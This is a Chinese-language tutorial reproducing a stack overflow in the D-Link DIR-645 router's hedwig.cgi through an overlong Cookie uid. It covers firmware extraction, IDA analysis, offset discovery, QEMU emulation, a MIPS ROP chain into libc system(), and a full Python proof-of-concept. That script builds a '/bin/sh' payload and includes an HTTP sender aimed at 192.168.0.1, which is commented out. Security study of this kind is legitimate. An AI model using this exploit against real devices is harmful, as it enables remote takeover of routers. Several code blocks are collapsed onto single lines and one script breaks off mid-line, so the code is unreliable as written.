物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现

https://www.rapid7.de/db/modules/exploit/linux/http/dlink_hedwig_cgi_bof

        这个栈溢出的原因是由于cookie的值过长导致的栈溢出。服务端取得客户端请求的HTTP头中Cookie字段中uid的值,格式化到栈上导致溢出。通过对漏洞点进行分析,搭建模拟环境并完成整个漏洞利用过程。

(文章中有不足之处,还请各位朋友多多指教,也欢迎对iot安全感兴趣的朋友加入我们,共同研究)

1. 固件分析:

下载固件:wget ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP

使用firmware-mod-kit/extract-firmware.sh 将固件中的文件系统提取出来

oit@ubuntu:~/0dayTest/dir645$ ~/tools/firmware-mod-kit/extract-firmware.sh ./dir645_FW_103.bin

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第1张图片

该漏洞的核心组件为 dir645_FW_103/rootfs$  ./htdocs/web/hedwig.cgi

查看hedwig.cgi 文件:

        可以看出,漏洞组件hedwig.cgi 是一个指向 ./htdocs/cgibin 的符号链接,也就是说真正的漏洞代码在cgibin中。

2. 漏洞成因分析

漏洞产生的原因是Cookie的值超长,接下来,我们就具体定位和分析漏洞产生原因。

 

因为hedwig.cgi 是一个指向 ./htdocs/cgibin 的符号链接,所有我们使用IDA 加载/htdocs/cgibin。

Shift+F12 打开 Strings window,搜索 HTTP_COOKIE,定位到其在rodata中具体位置,并查看

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第2张图片

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第3张图片

sess_get_uid+6C,定位进去可以发现 getenv(“HTTP_COOKIE”) 获取环境变量

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第4张图片

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第5张图片

继续定位 sess_get_uid 的引用,上下查看得知,getenv(“HTTP_COOKIE”) 作为 sprintf 函数的参数:

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第6张图片

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第7张图片

上下分析可知敏感函数 sprintf 为:

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第8张图片

向上追溯$s1:    

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第9张图片

$a0 : ($sp, 0x4E8+var_428)

 

sprintf(($sp,0x4E8+var_428),”%s/%s/postxml”,”/runtime/session”,getenv(“HTTP_COOKIE”))

        至此,我们可知,sprintf 格式化之后的数据保存到 $a0 对应的栈中,而$a0 所对应的的栈的大小有限,并且没有对  getenv(“HTTP_COOKIE”) 获取的数据进行检查,因此,如果getenv(“HTTP_COOKIE”) 所获取的环境变量数据足够长,就可以造成栈缓冲区溢出,进而覆盖保存在栈区中的 $ra,$fp等值。

 

3. 验证栈缓冲区溢出、定位偏移

***** patternLocOffset.py ************


# coding:utf-8
'''
生成定位字符串:轮子直接使用
'''

import argparse
import struct
import binascii
import string
import sys
import re
import time
a ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b ="abcdefghijklmnopqrstuvwxyz"
c = "0123456789"
def generate(count,output):
    # pattern create
    codeStr =''
    print '[*] Create pattern string contains %d characters'%count
    timeStart = time.time()
    for i in range(0,count):
        codeStr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10]
    print 'ok!'
    if output:
        print '[+] output to %s'%output
        fw = open(output,'w')
        fw.write(codeStr)
        fw.close()
        print 'ok!'
    else:
        return codeStr
    print "[+] take time: %.4f s"%(time.time()-timeStart)

def patternMatch(searchCode, length=1024):

   # pattern search
   offset = 0
   pattern = None

   timeStart = time.time()
   is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
   isHex = re.match('^[0-9a-fA-F]{8}',searchCode)

   if is0xHex:
       #0x41613141
       pattern = binascii.a2b_hex(searchCode[2:])
   elif isHex:
       pattern = binascii.a2b_hex(searchCode)
   else:
       print  '[-] seach Pattern eg:0x41613141'
       sys.exit(1)

   source = generate(length,None)
   offset = source.find(pattern)

   if offset != -1: # MBS
       print "[*] Exact match at offset %d" % offset
   else:
       print
       "[*] No exact matches, looking for likely candidates..."
       reverse = list(pattern)
       reverse.reverse()
       pattern = "".join(reverse)
       offset = source.find(pattern)

       if offset != -1:
           print "[+] Possible match at offset %d (adjusted another-endian)" % offset

   print "[+] take time: %.4f s" % (time.time() - timeStart)

def mian():
   '''
   parse argument
   '''
   parser = argparse.ArgumentParser()
   parser.add_argument('-s', '--search', help='search for pattern')
   parser.add_argument('-c', '--create', help='create a pattern',action='store_true')
   parser.add_argument('-f','--file',help='output file name',default='patternShell.txt')
   parser.add_argument('-l', '--length', help='length of pattern code',type=int, default=1024)
   args = parser.parse_args()
   '''
   save all argument
   '''
   length= args.length
   output = args.file
   createCode = args.create
   searchCode = args.search

   if createCode and (0 

****** pentest_cgi.sh *****************


# !/bin/bash
#
# 载入定位字符串,设置环境变量,模拟真实的运行环境,IDA远程调试执行
#
# hedwig.cgi -> /htdocs/cgibin
 TEST=$(python2.7 -c "print'uid='+open('dir645_patternLocOffset_test','r').read()")
echo $TEST
LEN=$(echo -n $TEST|wc -c)
echo $LEN
sudo cp $(which qemu-mipsel) ./
sudo chroot $PWD /qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$TEST -E CONTENT_LENGTH=$LEN -E REQUEST_URI="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REMOTE_ADDR="192.168.126.139" -g 2234 /htdocs/web/hedwig.cgi

*****************************************

(1) 生成定位字符串

~/0dayTest$ sudo python2.7 ./patternLocOffset.py -c -l 2000 -f dir645_patternLocOffset_test

(2) 执行pentest_cgi.sh 定位字符串,设置环境变量,模拟真实的运行环境

oit@ubuntu:~/0dayTest$./pentest_cgi.sh

在 .text:0040C5B8 lw      $ra, 0x4E4($sp)  处下断点,执行:

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第10张图片

按F7单步,可以看到RA的值为 $ra:0x38694237,改变了$ra的值

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第11张图片

单步执行到 0x0040C5E4,当场奔溃

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第12张图片

3) 查看偏移位置

    在填充文件 dir645_patternLocOffset_test 中搜索 0x38694237:

oit@ubuntu:~/0dayTest$ python2.7 patternLocOffset.py -s 0x38694237 -l 2000
        [*] Create pattern string contains 2000 characters
        ok!
        [+] Possible match at offset 1043 (adjusted another-endian)
        [+] take time: 0.0014 s

4. 构造ROP Chain:实现system函数的调用

(1) system函数地址:

system 在 libc.so.0中,使用IDA打开,找到system函数,查看其偏移为:0x53200

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第13张图片

(2) 搜索调用system函数的指令

找到system函数地址以后,搜索可以调用system的指令。使用IDA插件“MIPS ROP Finder”在libc.so.0中搜索调用system函数的指令。

输入:mipsrop.stackfinder()

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第14张图片

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第15张图片

        0x159cc处的指令序列,现将$sp + 0x10地址存入寄存器$s5中,而在偏移0x159E0处将$s5 作为参数存入$a0,也就是说,这里需要将第一步得到的system 地址填充到$s0中,然后在$sp + 0x10处填充需要执行的命令,即可实现对system("command")函数的调用。

(3) 查看系统加载libc.so.0 动态库时的基地址:

通过 qemu-system-mipsel 启动mipsel 模拟系统

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic,macaddr=00:0c:29:d4:72:11 -net tap -nographic

动态调试:

root@debian-mipsel:~#chroot $PWD ./gdbserver192.168.126.150:2345 ./htdocs/web/hedwig.cgi

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第16张图片

查看进程内存映射:

root@debian-mipsel:~# cat /proc/2636/maps

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第17张图片

lrwxrwxrwx 1 root root 21  libc.so.0 -> libuClibc-0.9.30.1.so

libc.so.0的基地址为:

    libc = 0x77f34000

(4) 避开低地址为 0x00方法:

   1  原因

系统加载libc.so.0动态库时的基地址为 0x77f34000,所以system函数的实际地址为:

0x77f34000 + 0x53200 = 0x77F87200

因为system实际地址的最低位为0x00,在使用sprintf函数时可能被截断,造成缓冲区溢出失败。

   2  解决方法:

将$s0 覆盖为 0x77F871FF(0x77f34000 + 0x531FF),然后在libc.so.0中搜索一条指令对$s0进行操作,再跳到“call system”指令。

 

mipsrop.find("addiu $s0,1")

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第18张图片

选择 0x000158C8 处的指令序列:

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第19张图片

ROP调用过程:

     $ra = 0x77f34000 + 0x000158C8 = 0x77F498C8
        $s5 = 0x77f34000 + 0x159cc
        $s0 = 0x77f34000 + 0x531FF
    .text:000158C8                 move    $t9, $s5
    .text:000158CC                 jalr    $t9
    .text:000158D0                 addiu   $s0, 1
调用system函数:
    $s0 = 0x77F87200  :system
    $s5 = commandAddr = $sp+0x10        .text:000159CC                addiu   $s5, $sp, 0x10        .text:000159D0                move    $a1, $s3        .text:000159D4                move    $a2, $s1        .text:000159D8                move    $t9, $s0        .text:000159DC                jalr    $t9 ; mempcpy        .text:000159E0                move    $a0, $s5

5. 生成POC

(1) 根据ROP的构造编写漏洞利用代码:

dir645-POC.py

# coding:utf-8
import sysimport timeimport stringimport socketfrom random import Randomimport urllib, urllib2, httplib
class MIPSPayload:    BADBYTES=[0x00]    LITTLE = "little"    BIG = 'big'    FILLER = 'A'    BYTES = 4    def __init__(self,libase=0, endianess=LITTLE, badbytes=BADBYTES):        self.libase = libase        self.shellcode = ""        self.endianess = endianess        self.badbytes = badbytes    def rand_text(self, size):        str = ''        chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'        length = len(chars) - 1        random = Random()        for i in range(size):            str += chars[random.randint(0,length)]            return str
    def Add(self, data):        self.shellcode += data
    # get RA addr    def Address(self, offset, base=None):        if base is None:            base = self.libase        return self.ToString(base + offset)
    def AddAddress(self, offset, base=None):        self.Add(self.Address(offset, base))
    def AddBuffer(self,size, byte=FILLER):        self.Add(byte * size)
    def AddNops(self, size):        if self.endianess == self.LITTLE:            self.Add(self.rand_text(size))        else:            self.Add(self.rand_text(size))
    def ToString(self,value, size= BYTES):        data =''        for i in range(0, size):            data += chr((value >> (8*i)) & 0xFF)        if self.endianess != self.LITTLE:            data = data[::-1]        return  data
    def Build(self):        count = 0        for c in self.shellcode:            for cbyte in self.badbytes:                if c == chr(cbyte):                    raise Exception("Bad byte found in shellcode at offset %d: 0x%.2x"%(count,cbyte))            count +=1        return self.shellcode
    def Print(self, bp1=BYTES):        i = 0        for c in self.shellcode:            if i == 4:                print ""                i = 0            sys.stdout.write("\\x%.2X"%ord(c))            sys.stdout.flush()            if bp1 > 0:                i += 1        print "\n"
class HTTP:    HTTP = 'http'    def __init__(self, host, proto=HTTP, verbose=False):        self.host = host        self.proto = proto        self.verbose = verbose        self.encode_params = True
    def Encode(self, data):        #just for DIR645        if type(data) == dict:            pdata =[]            for k in data.keys():                pdata.append(k + '=' + data[k])            data = pdata[1] + '&' + pdata[0]        else:            data = urllib.quote_plus(data)            return  data
    def Send(self, uri='', headers={}, data=None, response=False, encode_params=True):        html = ""        if uri.startswith('/'):            c = ''        else:            c = '/'        url = '%s://%s'%(self.proto, self.host)        uri = '/%s'%uri
        if data is not None:            data = self.Encode(data)        #print data        if self.verbose:            print url
        httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)        httpcli.request('POST', uri, data, headers=headers)        response=httpcli.getresponse()        print response.status        print response.read()
if __name__ == '__main__':
    libc = 0x77f34000 #0x40854000
    '''    ROP    $ra = 0x77f34000 +  0x000158C8
    *************************************************    $s5 = 0x77f34000 + 0x159cc    $s0 = 0x77f34000 + 0x531FF
    0x158c8:         .text:000158C8                 move    $t9, $s5        .text:000158CC                 jalr    $t9        .text:000158D0                 addiu   $s0, 1    *************************************************        $s0 = 0x77F87200    :system    $s5 = commandAddr = $sp+0x10
    0x159cc:        .text:000159CC                 addiu   $s5, $sp, 0x10        .text:000159D0                 move    $a1, $s3        .text:000159D4                 move    $a2, $s1        .text:000159D8                 move    $t9, $s0        .text:000159DC                 jalr    $t9 ; mempcpy    '''        target = {        "645-1.03":[0x531ff, 0x158c8, 0x159cc],    }    v = '645-1.03'    cmd = '/bin/sh'    ip = '192.168.0.1'    payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
    payload.AddBuffer(1007)                       #filler    payload.AddAddress(target[v][0], base=libc)   #$s0      0x77f34000 + 0x531ff    payload.AddBuffer(4)                          #$s1    payload.AddBuffer(4)                          #$s2    payload.AddBuffer(4)                          #$s3    payload.AddBuffer(4)                          #$s4    payload.AddAddress(target[v][2], base=libc) #$s5      # 0x77f34000 +0x159cc    payload.AddBuffer(4)                          #unused($s6)    payload.AddBuffer(4)                          #unused($s7)    #payload.Add(payload.ToString(0x0043B6D0))    payload.AddBuffer(4)                          #unused($gp)    # 1043    payload.AddAddress(target[v][1], base=libc) #$ra  # 0x77f34000 +0x158c8= 0x77F498C8    payload.AddBuffer(4)                          # fill    payload.AddBuffer(4)                          # fill    payload.AddBuffer(4)                          # fill    payload.AddBuffer(4)                          # fill    payload.Add(cmd)                            # shellcode
    pdata = {        'uid':'shuidi',        'password':'shuidi',    }    print payload.shellcode    payload = payload.Build()    print payload
    fw = open('dir645_patternLocOffset_test', 'w')    fw.write(payload)  # 'A'    fw.close()        '''    header = {        'Cookie' : 'uid='+payload.Build(),        'Accept-Encoding' : 'gzip, deflate',        'Content-Type' : 'application/x-www-form-urlencoded',        'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'    }    try:        HTTP(ip).Send('hedwig.cgi',data=pdata, headers=header,         encode_params=False,response=True)    except httplib.BadStatusLine:        print "Payload deliverd."    except Exception,e:        print "2Payload delivery failed: %s" % str(e)    '''

set-environment.sh

export TEST=$(python2.7 -c "print uid='+open('dir645_patternLocOffset_test','r').read()+ chr(0)")export CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE=$TESTexport CONTENT_LENGTH=$LENexport REQUEST_URI="/hedwig.cgi"export REQUEST_METHOD="POST"export REMOTE_ADDR="192.168.126.150"

(2) 执行测试:

python2.7 ./dir645-POC.py
source ./set-environment.sh
chroot $PWD ./gdbserver 192.168.126.150:2345 ./htdocs/web/hedwig.cgi

(3) 使用IDA远程动态调试

在.text:0040C5E4 jr      $ra 处下断点, F9运行

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第20张图片

$ra = 0x77F498C8,正确

单步执行,跳转到 libc.so.0 库 0x158c8 指令集位置处:

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第21张图片

$s0 : 0x77F871FF

$s5 : 0x77F499CC 正确

单步执行,跳转到 偏移0x159cc 指令序列位置,

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第22张图片

$s5 : 0x7FFF63C0

$t9 = $s0 : 0x77F87200 正确

F9,执行system,在终端上执行 ls命令,查看现象:

物联网漏洞挖掘入门--DLINK-DIR-645路由器栈溢出漏洞分析复现_第23张图片

至此,shellcode 成功执行:system("/bin/sh")

参考资料:

《揭秘家用路由器0day漏洞挖掘技术》

 

你可能感兴趣的:(渗透思路收集)